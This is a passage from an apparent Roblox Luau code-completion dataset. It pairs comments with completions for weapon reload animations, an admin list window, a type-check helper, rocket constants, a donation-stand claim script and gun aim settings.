CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.2)--0.2\n\t\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(0.21, -0.4, -0.75) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(180))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\tif objs[7].Value <= 0 then\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(0, 0.425, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-45))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\t--ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\t--wait(0.3)\t\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(-30))}):Play()\n\t\t\t--ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.15)\n\t\t\t\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tlocal MagZ = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagZ.Parent = objs[5]\n\t\t\t\tMagZ.Name = \"MagZ\"\n\t\t\t\tMagZ.Transparency = 0\n\t\t\t\tMagZ.Anchored = false\n\t\t\t\tMagZ.CanCollide = true\n\t\t\t\tMagZ:ClearAllChildren()\n\t\t\t\tMagZ.Velocity = MagZ.CFrame.RightVector * 25\n\n\n\n\t\t\t--[[local MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\n\t\t\t\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)]]\n\n\t\t\twait(0.05)\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\t\t\n\t\t\twait(0.2)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\t--MagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\telse\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\n\t\t\t\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)\n\t\t\t\t\n\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\twait(0.3)\t\t\t\t\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.75)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\tend\n\t\tend;\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal updateList\n\tlocal Title = data.Title\n\tlocal Tab = data.Table or data.Tab\n\tlocal Update = data.Update\n\tlocal UpdateArgs = data.UpdateArgs\n\tlocal AutoUpdate = data.AutoUpdate\n\tlocal LoadTime = data.LoadTime\n\tlocal origTable = gTable\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\tlocal Dots = data.Dots\n\tlocal Size = data.Size\n\tlocal Sanitize = data.Sanitize\n\tlocal Stacking = data.Stacking\n\t\n\tlocal gui = gTable.Object\n\tlocal info = gui.Desc\n\tlocal check = gui.Check\n\tlocal drag = gui.Drag\n\tlocal main = gui.Drag.Main\n\tlocal scroll = gui.Drag.Main.ScrollingFrame\n\tlocal title = gui.Drag.Title\n\tlocal close = gui.Drag.Close\n\tlocal hide = gui.Drag.Hide\n\tlocal entry = gui.Entry\n\tlocal drag2 = gui.Drag.Main.Dragger\n\tlocal search = gui.Drag.Search\n\tlocal refresh = gui.Drag.Refresh\n\t\n\tif Size then\n\t\tdrag.Size = UDim2.new(0,Size[1],drag.Size.Y.Scale,drag.Size.Y.Offset)\n\t\tmain.Size = UDim2.new(main.Size.X.Scale,main.Size.X.Offset,0,Size[2])\n\tend\n\t\n\trefresh.Visible = false\n\tsearch.Visible = false\n\tclient.UI.Remove(Title,gui)\n\tgTable.Name = Title\n\ttitle.Text = Title\n\t\n\tdrag.BackgroundColor3 = main.BackgroundColor3\n\tdrag.Position = UDim2.new(0, -600, 0.5, -100)\t\n\t\n\tsearch.InputBegan:connect(function(t)\n\t\tdrag.Draggable = false\n\tend)\n\t\n\tsearch.InputEnded:connect(function(t)\n\t\tdrag.Draggable = true\n\tend)\n\t\n\tclose.MouseButton1Click:connect(function()\n\t\tdrag.Draggable = false\n\t\tdrag:TweenPosition(UDim2.new(drag.Position.X.Scale, drag.Position.X.Offset, 1,0), \"Out\", \"Sine\", 0.5, true)\n\t\twait(0.5)\n\t\tgTable:Destroy()\n\tend)\n\n\thide.MouseButton1Click:connect(function() \n\t\tif main.Visible then\n\t\t\tmain.Visible = false\n\t\t\tdrag.BackgroundTransparency = main.BackgroundTransparency\n\t\t\thide.Text = \"+\"\n\t\telse\n\t\t\tmain.Visible = true\n\t\t\tdrag.BackgroundTransparency = 1\n\t\t\thide.Text = \"-\"\n\t\tend\n\tend)\n\t\n\tlocal num = 0\n\tlocal mouse=service.Players.LocalPlayer:GetMouse()\n\tlocal nx,ny=drag.AbsoluteSize.X,main.AbsoluteSize.Y--405,400\n\tlocal dragging=false\n\tlocal defx,defy=nx,ny\n\tlocal topText=\"\"\n\tmouse.Move:connect(function(x,y) \n\t\tif dragging then\n\t\t\tnx=defx+(drag2.Position.X.Offset+20)\n\t\t\tny=defy+(drag2.Position.Y.Offset+20)\n\t\t\tif nx<200 then nx=200 end\n\t\t\tif ny<200 then ny=200 end\n\t\t\tdrag.Size=UDim2.new(0, nx, 0, 30) \n\t\t\tmain.Size=UDim2.new(1, 0, 0, ny)\n\t\t\tif nx<220 then\n\t\t\t\tif topText==\"\" then\n\t\t\t\t\ttopText=title.Text\n\t\t\t\tend\n\t\t\t\ttitle.Text=\"\"\n\t\t\telse\n\t\t\t\tif topText~=\"\" then\n\t\t\t\t\ttitle.Text=topText\n\t\t\t\t\ttopText=\"\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tdrag2.DragBegin:connect(function(init)\n\t\tdragging = true\n\tend)\n\tdrag2.DragStopped:connect(function(x,y)\n\t\tdragging = false\n\t\tdefx = nx\n\t\tdefy = ny\n\t\tdrag2.Position = UDim2.new(1,-20,1,-20)\n\t\tif Dots then\n\t\t\tupdateList()\n\t\tend\n\tend)\n\t\n\tLogGuiInfo = function(Type)\n\t\tlocal NewNumber = 0\n\t\tlocal newTab\n\t\t\n\t\tif Stacking then\n\t\t\tnewTab = {}\n\t\t\tlocal lastTab\n\t\t\tfor ind,ent in next,Tab do\n\t\t\t\tent.Text = service.Trim(ent.Text)\n\t\t\t\tent.Desc = service.Trim(ent.Desc)\n\t\t\t\tif not lastTab then\n\t\t\t\t\tlastTab = ent\n\t\t\t\t\ttable.insert(newTab, ent)\n\t\t\t\telse\n\t\t\t\t\tif lastTab.Text == ent.Text and lastTab.Desc == ent.Desc then\n\t\t\t\t\t\tlastTab.Duplicates = (lastTab.Duplicates and lastTab.Duplicates+1) or 2\n\t\t\t\t\telse\n\t\t\t\t\t\tlastTab = ent\n\t\t\t\t\t\ttable.insert(newTab, ent)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tscroll.CanvasSize = UDim2.new(0, 0, 0,(#Tab*20))\n\t\tfor i,v in next,newTab or Tab do\n\t\t\tif (type(v) == \"table\" and ((v.Filter and string.find(string.lower(v.Filter),string.lower(Type))) or string.find(string.lower(v.Text),string.lower(Type)))) or (type(v) == \"string\" and string.find(string.lower(v),Type:lower())) or string.lower(Type) == \"all\" then\n\t\t\t\tlocal NewClone = entry:Clone()\n\t\t\t\tExpand(NewClone, info) \n\t\t\t\tNewClone.Parent = scroll\n\t\t\t\tif not (type(LoadTime)==\"boolean\" and LoadTime==false) then -- Dark\"s doin\"\n\t\t\t\t\tif LoadTime then\n\t\t\t\t\t\twait(LoadTime)\n\t\t\t\t\telseif not AutoUpdate then\n\t\t\t\t\t\tservice.Wait(\"RenderStepped\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t----\n\t\t\t\tif type(v) == \"table\" then \n\t\t\t\t\tif v.Desc and v.Text then\n\t\t\t\t\t\tlocal text = NewClone:FindFirstChild(\"Text\")\n\t\t\t\t\t\tlocal dot = NewClone:FindFirstChild(\"Dot\")\n\t\t\t\t\t\tif text then\n\t\t\t\t\t\t\tlocal desc = NewClone:WaitForChild(\"Desc\")\n\t\t\t\t\t\t\ttext.Text = (data.Sanitize and service.SanitizeString(v.Text)) or v.Text\n\t\t\t\t\t\t\tdesc.Value = v.Desc or \"\"\n\t\t\t\t\t\t\tif data.Font then\n\t\t\t\t\t\t\t\ttext.Font = data.Font\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif v.Duplicates then\n\t\t\t\t\t\t\t\ttext.Text = \"(x\"..v.Duplicates..\") \"..text.Text\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif v.Time then \n\t\t\t\t\t\t\t\ttext.Text = \"[\"..v.Time..\"] \"..text.Text\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif v.Color then\n\t\t\t\t\t\t\t\ttext.TextColor3 = v.Color\n\t\t\t\t\t\t\t\tdot.TextColor3 = v.Color\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif Dots then\n\t\t\t\t\t\t\t\tNewClone:WaitForChild(\"Dot\")\n\t\t\t\t\t\t\t\tif text.TextFits then\n\t\t\t\t\t\t\t\t\tdot.Visible = false\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tdot.Visible = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttext.TextScaled = true\n\t\t\t\t\t\t\t\ttext.TextWrapped = true\n\t\t\t\t\t\t\t\ttext.ClipsDescendants = false\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telseif type(v) == \"string\" then\n\t\t\t\t\tlocal text = NewClone:FindFirstChild(\"Text\")\n\t\t\t\t\tlocal dot = NewClone:FindFirstChild(\"Dot\")\n\t\t\t\t\tif text then\n\t\t\t\t\t\tlocal desc = NewClone:WaitForChild(\"Desc\")\n\t\t\t\t\t\ttext.Text = v\n\t\t\t\t\t\tif data.Font then\n\t\t\t\t\t\t\ttext.Font = data.Font\n\t\t\t\t\t\tend\n\t\t\t\t\t\tdesc.Value = NewClone.Text.Text\n\t\t\t\t\t\tif Dots then\n\t\t\t\t\t\t\tif text.TextFits then\n\t\t\t\t\t\t\t\tdot.Visible = false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tdot.Visible = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttext.TextScaled = true\n\t\t\t\t\t\t\ttext.TextWrapped = true\n\t\t\t\t\t\t\ttext.ClipsDescendants = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t----\n\t\t\t\tNewClone.Position = UDim2.new(0, 2, 0, (NewNumber*20))\n\t\t\t\tNewClone.Visible = true\n\t\t\t\tNewNumber = NewNumber+1\n\t\t\t\t----\n\t\t\t\tif LoadTime then \n\t\t\t\t\tscroll.CanvasSize = UDim2.new(0, 0, 0,(NewNumber*20))\n\t\t\t\tend\n\t\t\t\t----\n\t\t\tend\n\t\tend\n\t\tscroll.CanvasSize = UDim2.new(0, 0, 0, ((NewNumber)*20))\n\tend\n\t\n\tsearch.Visible = true\n\t\n\tsearch.FocusLost:connect(function(enterPressed)\n\t\tif enterPressed and (search.Text ~= \"Search\" and search.Text ~= \"\" or string.len(search.Text) > 0) then\n\t\t\tscroll:ClearAllChildren()\n\t\t\tLogGuiInfo(search.Text)\n\t\telseif enterPressed and (search.Text==\"\" or string.len(search.Text)==0 or string.lower(search.Text)==\"all\") then\n\t\t\tscroll:ClearAllChildren()\n\t\t\tsearch.Text=\"Search\"\n\t\t\tLogGuiInfo(\"all\")\n\t\telse\n\t\t\tsearch.Text=\"Search\"\n\t\tend\n\tend)\n\t\n\trefresh.Visible = false\n\t\n\tupdateList = function()\n\t\tif (search.Text ~= \"Search\" and search.Text ~= \"\") then\n\t\t\tscroll:ClearAllChildren()\n\t\t\tLogGuiInfo(search.Text)\n\t\telse\n\t\t\tscroll:ClearAllChildren()\n\t\t\tLogGuiInfo(\"all\")\n\t\tend\n\tend\n\t\n\tlocal autoupdating = true \n\t\n\tsearch.Text = \"Search\"\n\tif Update then refresh.Visible = true end\n\trefresh.MouseButton1Click:connect(function()\n\t\tTab = client.Remote.Get(\"UpdateList\",Update,unpack(UpdateArgs or {}))\n\t\tupdateList()\n\tend)\n\t\n\tRoutine(function() wait(0.5) LogGuiInfo(\"all\") end)\n\t\n\tgTable:Ready()\n\tdrag:TweenPosition(UDim2.new(0, 35, 0.5, -100), \"Out\", \"Sine\", 0.5)\n\t\n\tif AutoUpdate then\n\t\twhile gTable.Active and wait(AutoUpdate) do\n\t\t\tTab = client.Remote.Get(\"UpdateList\",Update,unpack(UpdateArgs or {}))\n\t\t\tupdateList()\n\t\tend\n\tend\nend\n"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop TimeFunction () -> number\n\tThe function used to get the current time. This defaults to\n\t`time` during runtime, and `os.clock` otherwise. Usually this\n\twill not need to be set, but it can be optionally configured\n\tif desired.\n]=]", "completion": "\n"} +{"prompt": "--[[**\n\tensure value is an Instance and it's ClassName matches the given ClassName by an IsA comparison\n\n\t@param className The class name to check for\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.instanceIsA(className)\n\tassert(t.string(className))\n\treturn function(value)\n\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false, instanceErrMsg or \"\"\n\t\tend\n\n\t\tif not value:IsA(className) then\n\t\t\treturn false, string.format(\"%s expected, got %s\", className, value.ClassName)\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--[[\n\t[How fast the body rotates.]\n\t[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]\n\t[Setting this any higher than 1 causes weird glitchy shaking occasionally.]\n--]]", "completion": "\nlocal UpdateSpeed = 0.5\n\nlocal NeckOrgnC0 = Neck.C0\t--[Get the base C0 to manipulate off of.]\nlocal WaistOrgnC0 = (not IsR6 and Waist.C0)\t--[Get the base C0 to manipulate off of.]\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal GRAVITY_ACCELERATION = 196.2\n\nlocal RELOAD_TIME = 3 -- Seconds until tool can be used again\nlocal ROCKET_SPEED = 60 -- Speed of the projectile\n\nlocal MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534'\nlocal MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25)\nlocal ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)\n"} +{"prompt": "--[[\nCreates a middle wall part.\n--]]", "completion": "\nlocal function CreateMiddleWallPart(Size,CF,Parent)\n\treturn CreatePart(MIDDLE_WALL_COLOR,Size,CF,Parent)\nend\n"} +{"prompt": "--local InfoBindable = EventsFolder:FindFirstChild(\"GetInfo\")\n--local ToClient = EventsFolder:FindFirstChild(\"SendButtonToClient\")", "completion": "\nlocal Notification = EventsFolder:FindFirstChild(\"Notification\")\nlocal EditPlot = EventsFolder:FindFirstChild(\"EditPlot\")\n\nlocal MarketPlaceService = game:GetService(\"MarketplaceService\")\n\nlocal OwnerLabel = script.Parent.Parent.Parent.Parent.SignDescription.SurfaceGui.Frame.OwnerLabel\n\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal StandNum = script.Parent.Parent.Parent.Parent.Name\n\nlocal PriceFolder = StarterGui:FindFirstChild(\"SignPrices\")\nlocal UI = PriceFolder[StandNum]\n\nlocal Template = UI.ScrollingFrame:FindFirstChild(\"Template\")\n\n\nfunction Triggered(Player)\n\n\tlocal PlayerName = Player.Name\n\n\tif Owner.Value == nil or \"NoOne\" then -- If booth hasn't been claimed\n\t\tif Player:FindFirstChild(\"Owner\") then -- If Player has claimed one\n\t\t\tNotification:FireClient(Player,\"Claimed\") -- Let them know they already own one\n\t\telse -- If Player hasn't claimed one\n\t\t\tOwner.Value = PlayerName\n\t\t\tOwnerLabel.Text = PlayerName .. \"'s Stand\"\n\t\t\tNotification:FireClient(Player,true) -- Claimed\n\n\t\t\tlocal UserID = game:GetService(\"Players\"):GetUserIdFromNameAsync(PlayerName)\n\t\t\tBindable:Fire(script.Parent.Parent.Parent.Parent.Name, PlayerName, UserID)\n\n\t\t\t-- This should be for giving a player a value\n\t\t\tOwnerLabel.Parent.MoneyRaised.Text = Player.leaderstats.Raised.Value .. \"$ Raised\"\n\n\t\t\tlocal OwnerValue = Instance.new(\"IntValue\")\n\t\t\tOwnerValue.Value = script.Parent.Parent.Parent.Parent.Name -- set int value to booth name\n\t\t\tOwnerValue.Name = \"Owner\"\n\t\t\tOwnerValue.Parent = Player\n\n\t\t\t-- Would this be the best way to do this? Yes, absolutely!\n\n\t\t\t-- We want the editPrompt to ONLY show for the client player.\n\n\t\t\tEditPlot:FireClient(Player, script.Parent.Parent.Parent.Parent.Name, true)\n\t\t\tPrompt.Enabled = false\n\t\tend\n\tend\t\nend\n\nscript.Parent.Triggered:Connect(Triggered)\n\n\nlocal Players = game:GetService(\"Players\")\nlocal RemoveButtonsFromClient = EventsFolder:FindFirstChild(\"RemoveButtonFromClient\")\n\nPlayers.PlayerRemoving:Connect(function(player)\n\tlocal plrRemovingName = player.Name\n\tif plrRemovingName == Owner.Value then\n\t\tRemoveButtonsFromClient:FireAllClients(script.Parent.Parent.Parent.Parent.Name)\n\t\tOwner.Value = \"NoOne\"\n\t\tEditPlot:FireClient(player, script.Parent.Parent.Parent.Parent.Name, false)\n\t\tPrompt.Enabled = true\n\n\t\tOwnerLabel.Text = \"No One's Stand\"\n\t\tscript.Parent.Parent.Parent.Parent.SignTitle.SurfaceGui.Frame.SignLabel.Text = \"PLS DONATE\"\n\t\tOwnerLabel.Parent.MoneyRaised.Text = \"0$ Raised\"\n\n\t\tlocal Children = StarterGui.SignPrices[script.Parent.Parent.Parent.Parent.Name].ScrollingFrame:GetChildren()\n\t\tfor _, child in ipairs(Children) do\n\t\t\tif child:IsA(\"Frame\") and child.Name ~= \"Template\" then\n\t\t\t\tchild:Destroy()\n\t\t\tend\n\t\tend\n\telse\n\t\treturn -- Not the Owner\n\tend\nend)\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 70; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 50; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "-- Management of which options appear on the Roblox User Settings screen", "completion": "\ndo\n\tlocal PlayerScripts = 